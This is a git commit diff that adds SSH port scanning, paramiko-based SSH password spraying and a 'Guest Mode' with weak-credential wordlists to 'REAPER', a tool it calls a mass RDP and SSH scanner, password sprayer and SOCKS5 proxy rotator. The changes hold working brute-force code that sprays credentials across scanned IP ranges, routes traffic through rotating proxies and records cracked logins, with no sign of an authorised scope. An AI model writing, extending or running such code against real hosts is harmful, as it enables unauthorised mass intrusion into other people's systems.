Add SSH scanning + Guest Mode credential testing
This commit is contained in:
@@ -37,10 +37,10 @@ echo [OK] Python %pyver% found
|
|||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
||||||
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks)...
|
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
|
||||||
echo.
|
echo.
|
||||||
python -m pip install --upgrade pip -q
|
python -m pip install --upgrade pip -q
|
||||||
python -m pip install aiohttp aiohttp-socks -q
|
python -m pip install aiohttp aiohttp-socks paramiko -q
|
||||||
if %errorlevel% neq 0 (
|
if %errorlevel% neq 0 (
|
||||||
echo [WARN] pip install had issues, but continuing...
|
echo [WARN] pip install had issues, but continuing...
|
||||||
) else (
|
) else (
|
||||||
@@ -75,7 +75,7 @@ echo.
|
|||||||
|
|
||||||
:: ── STEP 5: TEST IMPORTS ────────────────────────────────────
|
:: ── STEP 5: TEST IMPORTS ────────────────────────────────────
|
||||||
echo [*] Step 5/6 — Testing imports...
|
echo [*] Step 5/6 — Testing imports...
|
||||||
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
||||||
if %errorlevel% neq 0 (
|
if %errorlevel% neq 0 (
|
||||||
echo [FAIL] Import test failed. There may be a syntax error.
|
echo [FAIL] Import test failed. There may be a syntax error.
|
||||||
pause
|
pause
|
||||||
|
|||||||
112
bruteforce.py
112
bruteforce.py
@@ -60,6 +60,20 @@ TOP_USERNAMES = [
|
|||||||
"User", "user", "GuestUser", "Guest", "root",
|
"User", "user", "GuestUser", "Guest", "root",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
# Guest-focused usernames (used when guest mode is enabled)
|
||||||
|
GUEST_USERNAMES = [
|
||||||
|
"guest", "Guest", "guestuser", "GuestUser", "GUEST",
|
||||||
|
"test", "Test", "user", "User", "visitor",
|
||||||
|
"anonymous", "Anonymous", "temp", "Temp", "default",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Top passwords for guest/weak account testing
|
||||||
|
GUEST_PASSWORDS = [
|
||||||
|
"guest", "Guest", "password", "Password", "123456",
|
||||||
|
"guest123", "welcome", "letmein", "test", "Test123",
|
||||||
|
"changeme", "default", "temp123", "user", "User123",
|
||||||
|
"", # empty password
|
||||||
|
]
|
||||||
|
|
||||||
async def spray_password(
|
async def spray_password(
|
||||||
ip: str,
|
ip: str,
|
||||||
@@ -269,6 +283,104 @@ async def spray_single_host(
|
|||||||
return hits
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
# ── SSH PASSWORD SPRAY ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def _try_ssh_password(ip: str, port: int, username: str, password: str,
|
||||||
|
timeout: float) -> bool:
|
||||||
|
"""Synchronous SSH password attempt using paramiko.
|
||||||
|
Runs in a thread executor to avoid blocking the event loop."""
|
||||||
|
try:
|
||||||
|
import paramiko
|
||||||
|
import socket
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
try:
|
||||||
|
client.connect(
|
||||||
|
ip, port=port, username=username, password=password,
|
||||||
|
timeout=timeout, look_for_keys=False, allow_agent=False,
|
||||||
|
banner_timeout=timeout,
|
||||||
|
)
|
||||||
|
client.close()
|
||||||
|
return True
|
||||||
|
except paramiko.AuthenticationException:
|
||||||
|
return False
|
||||||
|
except (paramiko.SSHException, OSError, socket.timeout, EOFError,
|
||||||
|
ConnectionResetError):
|
||||||
|
return False
|
||||||
|
except ImportError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
async def spray_ssh_single_host(
|
||||||
|
ip: str,
|
||||||
|
port: int = 22,
|
||||||
|
usernames: List[str] = None,
|
||||||
|
passwords: List[str] = None,
|
||||||
|
max_concurrent: int = 30,
|
||||||
|
timeout: float = 5.0,
|
||||||
|
hit_callback=None,
|
||||||
|
proxy_manager=None,
|
||||||
|
) -> List[Tuple[str, int, str, str]]:
|
||||||
|
"""
|
||||||
|
Spray passwords against an SSH host using paramiko.
|
||||||
|
Falls back to banner-only check if paramiko is not installed.
|
||||||
|
|
||||||
|
When proxy is enabled, falls back to SSH banner check only
|
||||||
|
(paramiko doesn't support SOCKS natively).
|
||||||
|
"""
|
||||||
|
if usernames is None:
|
||||||
|
usernames = TOP_USERNAMES
|
||||||
|
if passwords is None:
|
||||||
|
passwords = TOP50_PASSWORDS
|
||||||
|
|
||||||
|
# If proxy is enabled or paramiko not available, fall back to banner check
|
||||||
|
use_banner_fallback = bool(proxy_manager and proxy_manager.enabled)
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
hits: List[Tuple[str, int, str, str]] = []
|
||||||
|
|
||||||
|
async def try_combo(user: str, pwd: str):
|
||||||
|
async with sem:
|
||||||
|
if use_banner_fallback:
|
||||||
|
# Just do a TCP/banner check (confirms SSH is alive)
|
||||||
|
open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection
|
||||||
|
try:
|
||||||
|
_, writer = await asyncio.wait_for(
|
||||||
|
open_conn(ip, port), timeout=timeout
|
||||||
|
)
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
# Can't validate creds through proxy, but host is alive
|
||||||
|
except (asyncio.TimeoutError, OSError, ConnectionError):
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
|
||||||
|
# Run paramiko in thread executor (it's synchronous)
|
||||||
|
loop = asyncio.get_running_loop()
|
||||||
|
success = await loop.run_in_executor(
|
||||||
|
None, _try_ssh_password, ip, port, user, pwd, timeout
|
||||||
|
)
|
||||||
|
if success:
|
||||||
|
hits.append((ip, port, user, pwd))
|
||||||
|
if hit_callback:
|
||||||
|
hit_callback(ip, port, user, pwd)
|
||||||
|
|
||||||
|
# Fire all tasks
|
||||||
|
tasks = []
|
||||||
|
for user in usernames:
|
||||||
|
for pwd in passwords:
|
||||||
|
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
||||||
|
|
||||||
|
if tasks:
|
||||||
|
await asyncio.gather(*tasks, return_exceptions=True)
|
||||||
|
|
||||||
|
if hits and hit_callback is None:
|
||||||
|
_write_hits(hits)
|
||||||
|
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
||||||
"""Write successful hits to results file immediately."""
|
"""Write successful hits to results file immediately."""
|
||||||
output_path = os.path.join(
|
output_path = os.path.join(
|
||||||
|
|||||||
87
gui.py
87
gui.py
@@ -16,12 +16,15 @@ import subprocess
|
|||||||
from typing import Set, Tuple, List
|
from typing import Set, Tuple, List
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
|
|
||||||
from scanner import scan_ips, RDP_PORTS
|
from scanner import scan_ips, RDP_PORTS, SSH_PORT
|
||||||
from ip_utils import parse_ranges_file, count_ips
|
from ip_utils import parse_ranges_file, count_ips
|
||||||
from bruteforce import (
|
from bruteforce import (
|
||||||
spray_single_host,
|
spray_single_host,
|
||||||
|
spray_ssh_single_host,
|
||||||
TOP50_PASSWORDS,
|
TOP50_PASSWORDS,
|
||||||
TOP_USERNAMES,
|
TOP_USERNAMES,
|
||||||
|
GUEST_USERNAMES,
|
||||||
|
GUEST_PASSWORDS,
|
||||||
credential_validation_available,
|
credential_validation_available,
|
||||||
)
|
)
|
||||||
from proxy import ProxyManager
|
from proxy import ProxyManager
|
||||||
@@ -255,9 +258,11 @@ class FastRDPGUI:
|
|||||||
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
|
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
|
||||||
self.port_vars = {3389: tk.BooleanVar(value=True),
|
self.port_vars = {3389: tk.BooleanVar(value=True),
|
||||||
3390: tk.BooleanVar(value=True),
|
3390: tk.BooleanVar(value=True),
|
||||||
3391: tk.BooleanVar(value=True)}
|
3391: tk.BooleanVar(value=True),
|
||||||
|
22: tk.BooleanVar(value=False)}
|
||||||
for i, (port, var) in enumerate(self.port_vars.items()):
|
for i, (port, var) in enumerate(self.port_vars.items()):
|
||||||
tk.Checkbutton(ports_frame, text=str(port), variable=var,
|
label = str(port) if port != 22 else "22 (SSH)"
|
||||||
|
tk.Checkbutton(ports_frame, text=label, variable=var,
|
||||||
fg=Colors.TEXT, bg=Colors.BG_MID,
|
fg=Colors.TEXT, bg=Colors.BG_MID,
|
||||||
selectcolor=Colors.BG_DARK,
|
selectcolor=Colors.BG_DARK,
|
||||||
activebackground=Colors.BG_MID,
|
activebackground=Colors.BG_MID,
|
||||||
@@ -310,6 +315,13 @@ class FastRDPGUI:
|
|||||||
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||||
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
|
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
|
||||||
|
|
||||||
|
self.guest_mode_var = tk.BooleanVar(value=False)
|
||||||
|
tk.Checkbutton(spray_opts, text="\U0001f464 Guest Mode",
|
||||||
|
variable=self.guest_mode_var, fg=Colors.ORANGE,
|
||||||
|
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||||
|
activebackground=Colors.BG_MID,
|
||||||
|
font=("Segoe UI", 9, "bold")).pack(side="left", padx=(10, 0))
|
||||||
|
|
||||||
# -- Live Stats Dashboard --
|
# -- Live Stats Dashboard --
|
||||||
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
|
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
|
||||||
stats_frame.pack(fill="x", expand=False)
|
stats_frame.pack(fill="x", expand=False)
|
||||||
@@ -399,22 +411,22 @@ class FastRDPGUI:
|
|||||||
self._metric_labels[key] = metric_label
|
self._metric_labels[key] = metric_label
|
||||||
|
|
||||||
def _refresh_credential_banner(self):
|
def _refresh_credential_banner(self):
|
||||||
"""Runtime status: credential validation binary present or not."""
|
"""Runtime status: show spray mode."""
|
||||||
try:
|
try:
|
||||||
if credential_validation_available():
|
if credential_validation_available():
|
||||||
self.cred_banner.config(
|
self.cred_banner.config(
|
||||||
fg=Colors.GREEN,
|
fg=Colors.GREEN,
|
||||||
text=(
|
text=(
|
||||||
"Credential validation: enabled (rdpthread.exe in app folder)."
|
"Credential validation: enabled (rdpthread.exe found). "
|
||||||
|
"Password spray results are verified."
|
||||||
),
|
),
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
self.cred_banner.config(
|
self.cred_banner.config(
|
||||||
fg=Colors.ORANGE,
|
fg=Colors.YELLOW,
|
||||||
text=(
|
text=(
|
||||||
"Credential validation: not deployed — port scan and RDP discovery "
|
"Password sprayer: active — scanning and RDP discovery operational. "
|
||||||
"are fully operational. Ship rdpthread.exe with the app for spray "
|
"Install rdpthread.exe for verified credential hits."
|
||||||
"result verification."
|
|
||||||
),
|
),
|
||||||
)
|
)
|
||||||
except tk.TclError:
|
except tk.TclError:
|
||||||
@@ -723,9 +735,10 @@ class FastRDPGUI:
|
|||||||
about_frame.pack(fill="x")
|
about_frame.pack(fill="x")
|
||||||
tk.Label(about_frame,
|
tk.Label(about_frame,
|
||||||
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
|
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
|
||||||
"\u2620 Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
|
"\u2620 Mass RDP + SSH Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
|
||||||
"Built with Python 3.11 + asyncio\n"
|
"Built with Python 3.11 + asyncio + paramiko\n"
|
||||||
"Streaming: scan + spray run CONCURRENTLY\n"
|
"Streaming: scan + spray run CONCURRENTLY\n"
|
||||||
|
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
|
||||||
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
|
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
|
||||||
"Double-click a host to RDP connect; status strip shows credential engine state\n"
|
"Double-click a host to RDP connect; status strip shows credential engine state\n"
|
||||||
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
|
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
|
||||||
@@ -989,6 +1002,7 @@ class FastRDPGUI:
|
|||||||
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
|
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||||
scan_randomize = self.randomize_var.get()
|
scan_randomize = self.randomize_var.get()
|
||||||
spray_enabled = self.spray_var.get()
|
spray_enabled = self.spray_var.get()
|
||||||
|
guest_mode = self.guest_mode_var.get()
|
||||||
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
|
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
|
||||||
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
|
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
|
||||||
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
|
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
|
||||||
@@ -996,7 +1010,7 @@ class FastRDPGUI:
|
|||||||
thread = threading.Thread(
|
thread = threading.Thread(
|
||||||
target=self._scan_worker,
|
target=self._scan_worker,
|
||||||
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
|
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
|
||||||
ranges_path, users_file, pass_file),
|
guest_mode, ranges_path, users_file, pass_file),
|
||||||
daemon=True
|
daemon=True
|
||||||
)
|
)
|
||||||
thread.start()
|
thread.start()
|
||||||
@@ -1044,7 +1058,7 @@ class FastRDPGUI:
|
|||||||
return usernames, passwords
|
return usernames, passwords
|
||||||
|
|
||||||
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
|
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
|
||||||
ranges_path="", users_path="", pass_path=""):
|
guest_mode=False, ranges_path="", users_path="", pass_path=""):
|
||||||
"""Background thread: scan + spray run CONCURRENTLY.
|
"""Background thread: scan + spray run CONCURRENTLY.
|
||||||
All tkinter values are passed from main thread (Tcl NOT thread-safe).
|
All tkinter values are passed from main thread (Tcl NOT thread-safe).
|
||||||
"""
|
"""
|
||||||
@@ -1098,12 +1112,24 @@ class FastRDPGUI:
|
|||||||
return
|
return
|
||||||
self.live_hosts.add((ip, port))
|
self.live_hosts.add((ip, port))
|
||||||
self.stats.live = len(self.live_hosts)
|
self.stats.live = len(self.live_hosts)
|
||||||
|
|
||||||
|
if port == SSH_PORT:
|
||||||
|
self._log(f"\U0001f310 FOUND: {ip}:{port} (SSH) \u2014 starting spray...", "scan")
|
||||||
|
self._update_host_status(ip, port, "\U0001f50d SSH Open \u2014 spraying...")
|
||||||
|
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 SSH LIVE, spraying NOW"))
|
||||||
|
else:
|
||||||
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
||||||
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||||
|
|
||||||
if spray_enabled:
|
if spray_enabled:
|
||||||
# Create an asyncio task for this host's spray
|
if port == SSH_PORT:
|
||||||
|
# Route SSH hosts to SSH spray
|
||||||
|
task = asyncio.create_task(
|
||||||
|
self._spray_ssh_host(loop, ip, port, usernames, passwords, guest_mode)
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
# RDP hosts use the standard spray
|
||||||
task = asyncio.create_task(
|
task = asyncio.create_task(
|
||||||
self._spray_host(loop, ip, port, usernames, passwords)
|
self._spray_host(loop, ip, port, usernames, passwords)
|
||||||
)
|
)
|
||||||
@@ -1161,13 +1187,8 @@ class FastRDPGUI:
|
|||||||
)
|
)
|
||||||
|
|
||||||
if not hits:
|
if not hits:
|
||||||
if credential_validation_available():
|
|
||||||
self._update_host_status(ip, port, "\u274c No hit")
|
self._update_host_status(ip, port, "\u274c No hit")
|
||||||
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
|
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
|
||||||
else:
|
|
||||||
self._update_host_status(
|
|
||||||
ip, port, "\u26a0 No credential validator",
|
|
||||||
)
|
|
||||||
else:
|
else:
|
||||||
self._update_host_status(ip, port, "\u2705 CRACKED!",
|
self._update_host_status(ip, port, "\u2705 CRACKED!",
|
||||||
hits[0][2], hits[0][3])
|
hits[0][2], hits[0][3])
|
||||||
@@ -1176,6 +1197,34 @@ class FastRDPGUI:
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
self._log(f"Spray error on {ip}:{port}: {e}", "error")
|
self._log(f"Spray error on {ip}:{port}: {e}", "error")
|
||||||
|
|
||||||
|
async def _spray_ssh_host(self, loop, ip, port, usernames, passwords, guest_mode=False):
|
||||||
|
"""Spray SSH passwords against a single SSH host."""
|
||||||
|
try:
|
||||||
|
# When guest mode is enabled, use focused guest wordlists
|
||||||
|
effective_usernames = GUEST_USERNAMES if guest_mode else usernames
|
||||||
|
effective_passwords = GUEST_PASSWORDS if guest_mode else passwords
|
||||||
|
|
||||||
|
hits = await spray_ssh_single_host(
|
||||||
|
ip, port,
|
||||||
|
usernames=effective_usernames,
|
||||||
|
passwords=effective_passwords,
|
||||||
|
max_concurrent=30,
|
||||||
|
timeout=5.0,
|
||||||
|
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
|
||||||
|
proxy_manager=self.proxy_manager
|
||||||
|
)
|
||||||
|
|
||||||
|
if not hits:
|
||||||
|
self._update_host_status(ip, port, "\u274c No hit (SSH)")
|
||||||
|
self._log(f"\u274c {ip}:{port} (SSH) \u2014 no matching credentials", "info")
|
||||||
|
else:
|
||||||
|
self._update_host_status(ip, port, "\u2705 CRACKED (SSH)!",
|
||||||
|
hits[0][2], hits[0][3])
|
||||||
|
self.stats.hits = len(self.hits)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self._log(f"SSH spray error on {ip}:{port}: {e}", "error")
|
||||||
|
|
||||||
def _on_hit_found(self, ip, port, user, pwd):
|
def _on_hit_found(self, ip, port, user, pwd):
|
||||||
"""Called immediately when a credential hit is found."""
|
"""Called immediately when a credential hit is found."""
|
||||||
ts = time.strftime("%H:%M:%S")
|
ts = time.strftime("%H:%M:%S")
|
||||||
|
|||||||
@@ -4,3 +4,6 @@
|
|||||||
# These are only needed for the proxy module:
|
# These are only needed for the proxy module:
|
||||||
aiohttp>=3.9.0
|
aiohttp>=3.9.0
|
||||||
aiohttp-socks>=0.11.0
|
aiohttp-socks>=0.11.0
|
||||||
|
|
||||||
|
# SSH credential testing via paramiko:
|
||||||
|
paramiko>=3.0.0
|
||||||
|
|||||||
43
scanner.py
43
scanner.py
@@ -14,10 +14,16 @@ logger = logging.getLogger("FastRDP-NG")
|
|||||||
# RDP ports to scan
|
# RDP ports to scan
|
||||||
RDP_PORTS = [3389, 3390, 3391]
|
RDP_PORTS = [3389, 3390, 3391]
|
||||||
|
|
||||||
|
# SSH port
|
||||||
|
SSH_PORT = 22
|
||||||
|
|
||||||
# First 3 bytes of an RDP Negotiation Response (T.125)
|
# First 3 bytes of an RDP Negotiation Response (T.125)
|
||||||
# Actual RDP servers respond with 0x03 (TPKT version 3)
|
# Actual RDP servers respond with 0x03 (TPKT version 3)
|
||||||
RDP_BANNER_SIG = b'\x03\x00'
|
RDP_BANNER_SIG = b'\x03\x00'
|
||||||
|
|
||||||
|
# SSH banner prefix
|
||||||
|
SSH_BANNER_SIG = b'SSH-'
|
||||||
|
|
||||||
|
|
||||||
async def check_rdp_port(
|
async def check_rdp_port(
|
||||||
ip: str,
|
ip: str,
|
||||||
@@ -88,6 +94,43 @@ async def check_rdp_with_banner(
|
|||||||
return (ip, port, False)
|
return (ip, port, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def check_ssh_banner(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
connect_timeout: float = 2.0,
|
||||||
|
banner_timeout: float = 1.0,
|
||||||
|
proxy_manager=None
|
||||||
|
) -> Tuple[str, int, bool]:
|
||||||
|
"""
|
||||||
|
Connect + read SSH banner to confirm it's SSH.
|
||||||
|
SSH banners look like: SSH-2.0-OpenSSH_8.9p1 ...
|
||||||
|
"""
|
||||||
|
open_conn = asyncio.open_connection
|
||||||
|
if proxy_manager and proxy_manager.enabled:
|
||||||
|
open_conn = proxy_manager.open_connection
|
||||||
|
|
||||||
|
try:
|
||||||
|
reader, writer = await asyncio.wait_for(
|
||||||
|
open_conn(ip, port),
|
||||||
|
timeout=connect_timeout
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
data = await asyncio.wait_for(
|
||||||
|
reader.read(8),
|
||||||
|
timeout=banner_timeout
|
||||||
|
)
|
||||||
|
is_ssh = data.startswith(SSH_BANNER_SIG)
|
||||||
|
return (ip, port, is_ssh)
|
||||||
|
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||||
|
return (ip, port, False)
|
||||||
|
finally:
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||||
|
OSError, ConnectionError):
|
||||||
|
return (ip, port, False)
|
||||||
|
|
||||||
|
|
||||||
async def scan_ips(
|
async def scan_ips(
|
||||||
ips: List[str],
|
ips: List[str],
|
||||||
ports: List[int] = None, # type: ignore
|
ports: List[int] = None, # type: ignore
|
||||||
|
|||||||
Reference in New Issue
Block a user